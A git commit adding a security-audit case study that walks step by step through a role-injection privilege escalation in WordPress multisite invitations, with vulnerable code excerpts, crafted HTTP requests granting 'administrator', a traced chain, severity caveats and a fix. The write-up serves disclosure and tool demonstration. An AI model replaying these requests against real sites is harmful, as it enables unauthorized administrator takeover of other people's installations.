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docs(case-study): full step-by-step attack scenario for the role-injection finding

Xerj Squad A5363421402e9
diff --git a/docs/case-studies/wordpress-security-audit/ATTACK-SCENARIO-role-injection.md b/docs/case-studies/wordpress-security-audit/ATTACK-SCENARIO-role-injection.md
new file mode 100644
index 000000000..d609b85f9
--- /dev/null
+++ b/docs/case-studies/wordpress-security-audit/ATTACK-SCENARIO-role-injection.md
@@ -0,0 +1,86 @@
+# Attack scenario: role injection via inconsistent `wp_ensure_editable_role` (FINDINGS #4)
+
+Confirmed finding `wp-admin/user-new.php:100`. Full source→sink chain verified by
+reading real code (WP 7.0.2). Conditional privilege escalation on multisite with a
+filtered `editable_roles`.
+
+## Threat model
+- **Attacker:** authenticated multisite site admin, or a delegated/restricted role
+ with `create_users`+`promote_users` whose `editable_roles` is filtered to EXCLUDE
+ `administrator` (multi-tenant / membership / "site manager" plugins).
+- **Goal:** grant `administrator` (forbidden by their editable_roles) to an account
+ they control.
+- **Stock caveat:** in stock, a site admin's editable_roles already includes
+ administrator → `wp_ensure_editable_role` is a no-op → NO boundary crossed. The
+ escalation exists only where a filter restricts the attacker.
+
+## Step 1 — submit the invite with an out-of-policy role
+Vulnerable branch (`user-new.php`, the email-invitation `else`, ~line 92-105):
+```php
+} else {
+ $newuser_key = wp_generate_password( 20, false );
+ add_option( 'new_user_' . $newuser_key, array(
+ 'user_id' => $user_id,
+ 'email' => $user_details->user_email,
+ 'role' => $_REQUEST['role'], // ← stored verbatim, NO wp_ensure_editable_role()
+ ) );
+ $roles = get_editable_roles();
+ $role = $roles[ $_REQUEST['role'] ]; // ← AFTER the store; email only; bad role = warning, not wp_die
+```
+Guarded sibling (line 73): `wp_ensure_editable_role( $_REQUEST['role'] );`
+
+```http
+POST /wp-admin/network/user-new.php HTTP/1.1
+Host: victim.network.example
+Cookie: wordpress_logged_in_<hash>=<restricted-admin session>
+Content-Type: application/x-www-form-urlencoded
+
+action=adduser&_wpnonce_add-user=<nonce from form>&_wp_http_referer=%2Fwp-admin%2Fnetwork%2Fuser-new.php&email=attacker-alt%40example.com&role=administrator
+```
+(omit `noconfirmation` — that routes to the guarded branch). Gate passed:
+`current_user_can('promote_user',$target)` — coarse, role-agnostic.
+
+## Step 2 — second-order trigger (attacker controls the invited email → clicks the link)
+`maybe_add_existing_user_to_blog()` (`ms-functions.php`, runs on every request):
+```php
+if ( ! str_contains( $_SERVER['REQUEST_URI'], '/newbloguser/' ) ) return;
+$key = array_pop( explode('/', $_SERVER['REQUEST_URI']) );
+$details = get_option( 'new_user_' . $key ); // reads the tainted role
+add_existing_user_to_blog( $details );
+```
+```http
+GET /newbloguser/<key-from-email>/ HTTP/1.1
+Host: victim.network.example
+```
+
+## Step 3 — applied with no re-check
+```php
+function add_user_to_blog( $blog_id, $user_id, $role ) {
+ apply_filters( 'can_add_user_to_blog', true, ... ); // default TRUE
+ $user->set_role( $role ); // 'administrator' applied, no cap/editable-role re-check
+}
+```
+
+## Traced chain
+```
+$_REQUEST['role']=administrator [POST, restricted site admin]
+ └ user-new.php:100 add_option('new_user_{key}',role) ← NO wp_ensure_editable_role (BUG)
+ └ [DB] ── second order ──> GET /newbloguser/{key}/
+ └ maybe_add_existing_user_to_blog -> add_existing_user_to_blog
+ └ add_user_to_blog -> $user->set_role('administrator') ← escalation
+```
+
+## Severity (honest) & fix
+Real, unconditional *inconsistency* (2/3 sinks guarded); **conditional escalation**
+(multisite + filtered editable_roles); defense-in-depth in stock. Not RCE. **Fix:**
+add `wp_ensure_editable_role( $_REQUEST['role'] );` at the top of the
+email-invitation branch, matching its two siblings.
+
+## How XERJ surfaced it
+The three role-sinks live in one file but different branches; XERJ's `wpsinks`
+returns "every `add_option`/`add_existing_user_to_blog` carrying a role arg" as one
+result set, handing the reviewer the three siblings to compare. The structural
+authz graph passed the file (a `promote_user` cap check IS present); a blind
+full-context scan splits the storage branch from the `ms-functions.php` confirmation
+sink across chunks. Only the graph-narrowed per-file read that compares siblings
+catches a *missing sibling guard*.
diff --git a/docs/case-studies/wordpress-security-audit/FINDINGS.md b/docs/case-studies/wordpress-security-audit/FINDINGS.md
index d596f9e25..9daeb07b5 100644
--- a/docs/case-studies/wordpress-security-audit/FINDINGS.md
+++ b/docs/case-studies/wordpress-security-audit/FINDINGS.md
@@ -168,7 +168,7 @@ bites where **`editable_roles` is filtered** to restrict an admin below the inje
role (common in membership / role-manager plugins and multisite delegation), and
only on **multisite**. It is a genuine, unconditional *inconsistency* (2 of 3 sinks
guarded) matching upstream 7.0.2 — worth reporting to WordPress as a hardening fix,
-not a stock-install RCE. Verified by reading the real code + adversarial agent.
+not a stock-install RCE. Verified by reading the real code + adversarial agent. Full step-by-step attack (requests + code) in [ATTACK-SCENARIO-role-injection.md](ATTACK-SCENARIO-role-injection.md).
## Verified-clean negatives (the honest majority)